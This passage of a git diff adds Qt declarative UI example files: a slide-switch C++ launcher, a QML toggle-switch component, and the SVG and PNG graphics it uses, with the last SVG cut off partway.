L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/ui-components/searchbox/searchbox64.png b/examples/declarative/ui-components/searchbox/searchbox64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/searchbox64.png
Binary files differ
diff --git a/examples/declarative/ui-components/searchbox/searchbox80.png b/examples/declarative/ui-components/searchbox/searchbox80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/searchbox80.png
Binary files differ
diff --git a/examples/declarative/ui-components/slideswitch/main.cpp b/examples/declarative/ui-components/slideswitch/main.cpp
new file mode 100644
index 00000000..6def7fcc
--- /dev/null
+++ b/examples/declarative/ui-components/slideswitch/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/slideswitch/slideswitch.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/ui-components/slideswitch/qml/slideswitch/content/Switch.qml b/examples/declarative/ui-components/slideswitch/qml/slideswitch/content/Switch.qml
new file mode 100644
index 00000000..d35ce92b
--- /dev/null
+++ b/examples/declarative/ui-components/slideswitch/qml/slideswitch/content/Switch.qml
@@ -0,0 +1,117 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Item {
+ id: toggleswitch
+ width: background.width; height: background.height
+
+//![1]
+ property bool on: false
+//![1]
+
+//![2]
+ function toggle() {
+ if (toggleswitch.state == "on")
+ toggleswitch.state = "off";
+ else
+ toggleswitch.state = "on";
+ }
+//![2]
+
+//![3]
+ function releaseSwitch() {
+ if (knob.x == 1) {
+ if (toggleswitch.state == "off") return;
+ }
+ if (knob.x == 78) {
+ if (toggleswitch.state == "on") return;
+ }
+ toggle();
+ }
+//![3]
+
+//![4]
+ Image {
+ id: background
+ source: "background.svg"
+ MouseArea { anchors.fill: parent; onClicked: toggle() }
+ }
+//![4]
+
+//![5]
+ Image {
+ id: knob
+ x: 1; y: 2
+ source: "knob.svg"
+
+ MouseArea {
+ anchors.fill: parent
+ drag.target: knob; drag.axis: Drag.XAxis; drag.minimumX: 1; drag.maximumX: 78
+ onClicked: toggle()
+ onReleased: releaseSwitch()
+ }
+ }
+//![5]
+
+//![6]
+ states: [
+ State {
+ name: "on"
+ PropertyChanges { target: knob; x: 78 }
+ PropertyChanges { target: toggleswitch; on: true }
+ },
+ State {
+ name: "off"
+ PropertyChanges { target: knob; x: 1 }
+ PropertyChanges { target: toggleswitch; on: false }
+ }
+ ]
+//![6]
+
+//![7]
+ transitions: Transition {
+ NumberAnimation { properties: "x"; easing.type: Easing.InOutQuad; duration: 200 }
+ }
+//![7]
+}
+//![0]
diff --git a/examples/declarative/ui-components/slideswitch/qml/slideswitch/content/background.svg b/examples/declarative/ui-components/slideswitch/qml/slideswitch/content/background.svg
new file mode 100644
index 00000000..f920d3e4
--- /dev/null
+++ b/examples/declarative/ui-components/slideswitch/qml/slideswitch/content/background.svg
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Generator: Adobe Illustrator 13.0.2, SVG Export Plug-In -->
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
+ <!ENTITY ns_flows "http://ns.adobe.com/Flows/1.0/">
+]>
+<svg version="1.1"
+ xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:a="http://ns.adobe.com/AdobeSVGViewerExtensions/3.0/"
+ x="0px" y="0px" width="130px" height="56px" viewBox="0 0 130 56" enable-background="new 0 0 130 56" xml:space="preserve">
+<defs>
+</defs>
+<linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="-37.5005" y1="-66" x2="-37.5005" y2="-121.9985" gradientTransform="matrix(1 0 0 -1 102.5 -66)">
+ <stop offset="0.0056" style="stop-color:#000000"/>
+ <stop offset="1" style="stop-color:#EAECEF"/>
+</linearGradient>
+<path fill="url(#SVGID_1_)" d="M101.998,55.998H28c-15.439,0-28-12.562-28-28C0,12.56,12.561,0,28,0h73.998
+ c15.439,0,28,12.559,28,27.998C129.998,43.438,117.438,55.998,101.998,55.998L101.998,55.998z"/>
+<linearGradient id="SVGID_2_" gradientUnits="userSpaceOnUse" x1="-5.5" y1="-132.1338" x2="-69.5002" y2="-55.8613" gradientTransform="matrix(1 0 0 -1 102.5 -66)">
+ <stop offset="0.0056" style="stop-color:#000000"/>
+ <stop offset="1" style="stop-color:#828385"/>
+</linearGradient>
+<path fill="url(#SVGID_2_)" d="M127.999,27.998c0,14.359-11.642,26-26,26h-74c-14.359,0-26-11.641-26-26l0,0
+ c0-14.359,11.641-26,26-26h74C116.357,1.998,127.999,13.639,127.999,27.998L127.999,27.998z"/>
+</svg>
diff --git a/examples/declarative/ui-components/slideswitch/qml/slideswitch/content/knob.svg b/examples/declarative/ui-components/slideswitch/qml/slideswitch/content/knob.svg
new file mode 100644
index 00000000..fb693371
--- /dev/null
+++ b/examples/declarative/ui-components/slideswitch/qml/slideswitch/content/knob.svg
@@ -0,0 +1,867 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Generator: Adobe Illustrator 13.0.2, SVG Export Plug-In -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ version="1.1"
+ x="0px"
+ y="0px"
+ width="52px"
+ height="52px"
+ viewBox="0 0 52 52"
+ enable-background="new 0 0 52 52"
+ xml:space="preserve"
+ id="svg3883"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ sodipodi:docname="knob_on.svg"
+ sodipodi:docbase="/local/axel/embeddedwidgets/embeddedstories/skins/svgslideswitch/MetallicBrush"><metadata
+ id="metadata4200"><rdf:RDF><cc:Work
+ rdf:about=""><dc:format>image/svg+xml</dc:format><dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" /></cc:Work></rdf:RDF></metadata><sodipodi:namedview
+ inkscape:window-height="640"
+ inkscape:window-width="937"
+ inkscape:pageshadow="2"
+ inkscape:pageopacity="0.0"
+ guidetolerance="10.0"
+ gridtolerance="10.0"
+ objecttolerance="10.0"
+ borderopacity="1.0"
+ bordercolor="#666666"
+ pagecolor="#ffffff"
+ id="base"
+ inkscape:zoom="8.3653846"
+ inkscape:cx="26.000002"
+ inkscape:cy="26"
+ inkscape:window-x="0"
+ inkscape:window-y="0"
+ inkscape:current-layer="svg3883" />
+<defs
+ id="defs3885">
+</defs>
+<linearGradient
+ id="SVGID_1_"
+ gradientUnits="userSpaceOnUse"
+ x1="-59.7866"
+ y1="-115.917"
+ x2="-93.2123"
+ y2="-76.0818"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#000000"
+ id="stop3888" />
+ <stop
+ offset="1"
+ style="stop-color:#EAECEF"
+ id="stop3890" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="26"
+ id="circle3892"
+ style="fill:url(#SVGID_1_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="26"
+ sodipodi:ry="26"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_2_"
+ gradientUnits="userSpaceOnUse"
+ x1="-100.5"
+ y1="-96"
+ x2="-52.5"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop3895" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop3897" />
+ <stop
+ offset="0.6043"
+ style="stop-color:#E7EAED"
+ id="stop3899" />
+ <stop
+ offset="0.6751"
+ style="stop-color:#DEE4E7"
+ id="stop3901" />
+ <stop
+ offset="0.7358"
+ style="stop-color:#CFD9DD"
+ id="stop3903" />
+ <stop
+ offset="0.791"
+ style="stop-color:#B9CACF"
+ id="stop3905" />
+ <stop
+ offset="0.8425"
+ style="stop-color:#9EB6BD"
+ id="stop3907" />
+ <stop
+ offset="0.891"
+ style="stop-color:#7B9EA7"
+ id="stop3909" />
+ <stop
+ offset="0.9374"
+ style="stop-color:#53828C"
+ id="stop3911" />
+ <stop
+ offset="0.9809"
+ style="stop-color:#25626E"
+ id="stop3913" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop3915" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="24"
+ id="circle3917"
+ style="fill:url(#SVGID_2_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="24"
+ sodipodi:ry="24"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_3_"
+ gradientUnits="userSpaceOnUse"
+ x1="-98.6328"
+ y1="-96"
+ x2="-54.3672"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop3920" />
+ <stop
+ offset="0.073"
+ style="stop-color:#8FAECB"
+ id="stop3922" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop3924" />
+ <stop
+ offset="0.5902"
+ style="stop-color:#E7E9ED"
+ id="stop3926" />
+ <stop
+ offset="0.618"
+ style="stop-color:#E4E7EB"
+ id="stop3928" />
+ <stop
+ offset="0.6697"
+ style="stop-color:#E0E4E9"
+ id="stop3930" />
+ <stop
+ offset="0.7211"
+ style="stop-color:#D4DCE1"
+ id="stop3932" />
+ <stop
+ offset="0.7722"
+ style="stop-color:#C0CFD5"
+ id="stop3934" />
+ <stop
+ offset="0.809"
+ style="stop-color:#ADC2C9"
+ id="stop3936" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop3938" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="22.132999"
+ id="circle3940"
+ style="fill:url(#SVGID_3_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="22.132999"
+ sodipodi:ry="22.132999"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_4_"
+ gradientUnits="userSpaceOnUse"
+ x1="-96.7671"
+ y1="-96"
+ x2="-56.2324"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop3943" />
+ <stop
+ offset="0.073"
+ style="stop-color:#86A7C4"
+ id="stop3945" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop3947" />
+ <stop
+ offset="0.577"
+ style="stop-color:#E7EAED"
+ id="stop3949" />
+ <stop
+ offset="0.618"
+ style="stop-color:#E1E6EA"
+ id="stop3951" />
+ <stop
+ offset="0.6697"
+ style="stop-color:#DDE3E8"
+ id="stop3953" />
+ <stop
+ offset="0.7211"
+ style="stop-color:#D1DBE1"
+ id="stop3955" />
+ <stop
+ offset="0.7722"
+ style="stop-color:#BDCDD5"
+ id="stop3957" />
+ <stop
+ offset="0.809"
+ style="stop-color:#AAC0CA"
+ id="stop3959" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop3961" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="20.267"
+ id="circle3963"
+ style="fill:url(#SVGID_4_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="20.267"
+ sodipodi:ry="20.267"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_5_"
+ gradientUnits="userSpaceOnUse"
+ x1="-94.8999"
+ y1="-96"
+ x2="-58.0996"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop3966" />
+ <stop
+ offset="0.073"
+ style="stop-color:#7E9FBC"
+ id="stop3968" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop3970" />
+ <stop
+ offset="0.5709"
+ style="stop-color:#E6E9ED"
+ id="stop3972" />
+ <stop
+ offset="0.618"
+ style="stop-color:#DFE4E9"
+ id="stop3974" />
+ <stop
+ offset="0.6687"
+ style="stop-color:#DBE1E7"
+ id="stop3976" />
+ <stop
+ offset="0.7193"
+ style="stop-color:#CFD9E0"
+ id="stop3978" />
+ <stop
+ offset="0.7695"
+ style="stop-color:#BBCCD6"
+ id="stop3980" />
+ <stop
+ offset="0.809"
+ style="stop-color:#A6BECA"
+ id="stop3982" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop3984" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="18.4"
+ id="circle3986"
+ style="fill:url(#SVGID_5_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="18.4"
+ sodipodi:ry="18.4"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_6_"
+ gradientUnits="userSpaceOnUse"
+ x1="-93.0332"
+ y1="-96"
+ x2="-59.9668"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop3989" />
+ <stop
+ offset="0.073"
+ style="stop-color:#7697B4"
+ id="stop3991" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop3993" />
+ <stop
+ offset="0.5636"
+ style="stop-color:#E6E9ED"
+ id="stop3995" />
+ <stop
+ offset="0.618"
+ style="stop-color:#DCE2E8"
+ id="stop3997" />
+ <stop
+ offset="0.6687"
+ style="stop-color:#D8DFE6"
+ id="stop3999" />
+ <stop
+ offset="0.7193"
+ style="stop-color:#CCD7E0"
+ id="stop4001" />
+ <stop
+ offset="0.7695"
+ style="stop-color:#B8CAD5"
+ id="stop4003" />
+ <stop
+ offset="0.809"
+ style="stop-color:#A3BCCA"
+ id="stop4005" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop4007" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="16.533001"
+ id="circle4009"
+ style="fill:url(#SVGID_6_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="16.533001"
+ sodipodi:ry="16.533001"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_7_"
+ gradientUnits="userSpaceOnUse"
+ x1="-91.167"
+ y1="-96"
+ x2="-61.833"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop4012" />
+ <stop
+ offset="0.073"
+ style="stop-color:#6D8FAD"
+ id="stop4014" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop4016" />
+ <stop
+ offset="0.5605"
+ style="stop-color:#E5E8EC"
+ id="stop4018" />
+ <stop
+ offset="0.618"
+ style="stop-color:#DAE1E7"
+ id="stop4020" />
+ <stop
+ offset="0.6679"
+ style="stop-color:#D6DEE5"
+ id="stop4022" />
+ <stop
+ offset="0.7175"
+ style="stop-color:#CAD6DF"
+ id="stop4024" />
+ <stop
+ offset="0.7669"
+ style="stop-color:#B6C9D6"
+ id="stop4026" />
+ <stop
+ offset="0.809"
+ style="stop-color:#9FBACB"
+ id="stop4028" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop4030" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="14.667"
+ id="circle4032"
+ style="fill:url(#SVGID_7_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="14.667"
+ sodipodi:ry="14.667"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_8_"
+ gradientUnits="userSpaceOnUse"
+ x1="-89.2998"
+ y1="-96"
+ x2="-63.7002"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop4035" />
+ <stop
+ offset="0.073"
+ style="stop-color:#6587A5"
+ id="stop4037" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop4039" />
+ <stop
+ offset="0.5588"
+ style="stop-color:#E4E8EC"
+ id="stop4041" />
+ <stop
+ offset="0.618"
+ style="stop-color:#D8DFE7"
+ id="stop4043" />
+ <stop
+ offset="0.6675"
+ style="stop-color:#D4DCE5"
+ id="stop4045" />
+ <stop
+ offset="0.7167"
+ style="stop-color:#C8D5E0"
+ id="stop4047" />
+ <stop
+ offset="0.7657"
+ style="stop-color:#B4C8D6"
+ id="stop4049" />
+ <stop
+ offset="0.809"
+ style="stop-color:#9CB8CB"
+ id="stop4051" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop4053" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="12.8"
+ id="circle4055"
+ style="fill:url(#SVGID_8_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="12.8"
+ sodipodi:ry="12.8"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_9_"
+ gradientUnits="userSpaceOnUse"
+ x1="-87.4331"
+ y1="-96"
+ x2="-65.5664"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop4058" />
+ <stop
+ offset="0.073"
+ style="stop-color:#5D809D"
+ id="stop4060" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop4062" />
+ <stop
+ offset="0.5567"
+ style="stop-color:#E3E7EC"
+ id="stop4064" />
+ <stop
+ offset="0.618"
+ style="stop-color:#D5DDE6"
+ id="stop4066" />
+ <stop
+ offset="0.6671"
+ style="stop-color:#D1DAE4"
+ id="stop4068" />
+ <stop
+ offset="0.7159"
+ style="stop-color:#C5D3DF"
+ id="stop4070" />
+ <stop
+ offset="0.7645"
+ style="stop-color:#B1C6D6"
+ id="stop4072" />
+ <stop
+ offset="0.809"
+ style="stop-color:#98B5CB"
+ id="stop4074" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop4076" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="10.933"
+ id="circle4078"
+ style="fill:url(#SVGID_9_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="10.933"
+ sodipodi:ry="10.933"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_10_"
+ gradientUnits="userSpaceOnUse"
+ x1="-85.5659"
+ y1="-96"
+ x2="-67.4336"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop4081" />
+ <stop
+ offset="0.073"
+ style="stop-color:#547896"
+ id="stop4083" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop4085" />
+ <stop
+ offset="0.5588"
+ style="stop-color:#E1E6EB"
+ id="stop4087" />
+ <stop
+ offset="0.618"
+ style="stop-color:#D3DCE5"
+ id="stop4089" />
+ <stop
+ offset="0.6663"
+ style="stop-color:#CFD9E3"
+ id="stop4091" />
+ <stop
+ offset="0.7143"
+ style="stop-color:#C3D2DF"
+ id="stop4093" />
+ <stop
+ offset="0.7621"
+ style="stop-color:#AFC5D7"
+ id="stop4095" />
+ <stop
+ offset="0.809"
+ style="stop-color:#94B3CC"
+ id="stop4097" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop4099" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="9.066"
+ id="circle4101"
+ style="fill:url(#SVGID_10_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="9.066"
+ sodipodi:ry="9.066"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_11_"
+ gradientUnits="userSpaceOnUse"
+ x1="-83.7002"
+ y1="-96"
+ x2="-69.2998"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop4104" />
+ <stop
+ offset="0.073"
+ style="stop-color:#4C708E"
+ id="stop4106" />
+ <stop
+ offset="0.5"
+ style="stop-color:#EAECEF"
+ id="stop4108" />
+ <stop
+ offset="0.5625"
+ style="stop-color:#DEE4EA"
+ id="stop4110" />
+ <stop
+ offset="0.618"
+ style="stop-color:#D0DAE4"
+ id="stop4112" />
+ <stop
+ offset="0.6663"
+ style="stop-color:#CCD7E2"
+ id="stop4114" />
+ <stop
+ offset="0.7143"
+ style="stop-color:#C0D0DE"
+ id="stop4116" />
+ <stop
+ offset="0.7621"
+ style="stop-color:#ACC3D6"
+ id="stop4118" />
+ <stop
+ offset="0.809"
+ style="stop-color:#91B1CC"
+ id="stop4120" />
+ <stop
+ offset="1"
+ style="stop-color:#0E525F"
+ id="stop4122" />
+</linearGradient>
+<circle
+ cx="26"
+ cy="26"
+ r="7.1999998"
+ id="circle4124"
+ style="fill:url(#SVGID_11_)"
+ sodipodi:cx="26"
+ sodipodi:cy="26"
+ sodipodi:rx="7.1999998"
+ sodipodi:ry="7.1999998"
+ transform="matrix(0.923077,0,0,0.923077,2,1.999996)" />
+<linearGradient
+ id="SVGID_12_"
+ gradientUnits="userSpaceOnUse"
+ x1="-81.833"
+ y1="-96"
+ x2="-71.167"
+ y2="-96"
+ gradientTransform="matrix(1,0,0,-1,102.5,-70)">
+ <stop
+ offset="0.0056"
+ style="stop-color:#8AADCE"
+ id="stop4127" />
